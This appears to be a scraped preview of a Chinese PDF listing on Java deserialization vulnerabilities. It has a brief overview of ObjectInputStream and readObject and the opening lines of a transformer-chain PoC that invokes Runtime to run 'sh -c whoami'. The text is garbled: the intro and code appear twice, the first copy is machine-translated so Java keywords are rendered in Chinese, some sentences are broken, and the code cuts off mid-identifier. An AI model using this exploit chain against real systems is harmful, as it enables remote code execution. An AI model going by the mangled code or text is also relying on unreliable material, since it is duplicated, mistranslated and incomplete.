Java反序列化漏洞及Poc详细.pdfVIP

本文对Java反序列化的进行了简述，并对Java反序列化的Poc进行了详细解读。

文章目录

•Java反序列化概述

•Java反序列化Poc详细解析

•基于报错的反序列化变压器链

•关于RMI利用的相关内容

•影响分析

•资料

Java反序列化简介

•Java序列化就是将对象转换成字节流，便于保存在内存、文件或数据库中。

Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。

•Java反序列化则是逆过程，即将字节流还原成对象。ObjectInputStream类的

readObject()方法用于反序列化。

因此，要利用Java反序列化，需要在进行反序列化的地方传入者的序列化代码。能够

满足以上条件的地方即存在。

Java反序列化Poc详解

1公共类测试{

2publicstaticvoidmain(String[]args)throwsException{

3String[]execArgs=newString[]{sh,-c,whoami/tmp/};

4Transformer[]转换器=新的Transformer[]{

5新的ConstantTransformer(Runtime.类),

本文对于Java反序列化的简述后，并对于Java反序列化的Poc进行详细解读。

文章目录

•Java反序列化简介

•Java反序列化Poc详解

•基于报错的反序列化transformer链

•关于RMI利用的相关内容

•影响分析

•资料

Java反序列化简介

•Java序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中，

Java中的ObjectOutputStream类的writeObject()方法可以实现序列化。

•Java反序列化即逆过程，由字节流还原成对象。ObjectInputStream类的

readObject()方法用于反序列化。

因此要利用Java反序列化，需要在进行反序列化的地方传入者的序列化代码。能符合以

上条件的地方即存在。

Java反序列化Poc详解

1publicclasstest{

2publicstaticvoidmain(String[]args)throwsException{

3String[]execArgs=newString[]{sh,-c,whoami;/tmp/};

4Transformer[]transformers=newTransformer[]{

5newConstantTransformer(Runtime.class),

6newInvokerTransformer(getMethod,newClass[]{String.class,Class[].

7class},newObject[]{getRuntime,newClass[0]}),new

8InvokerTransforme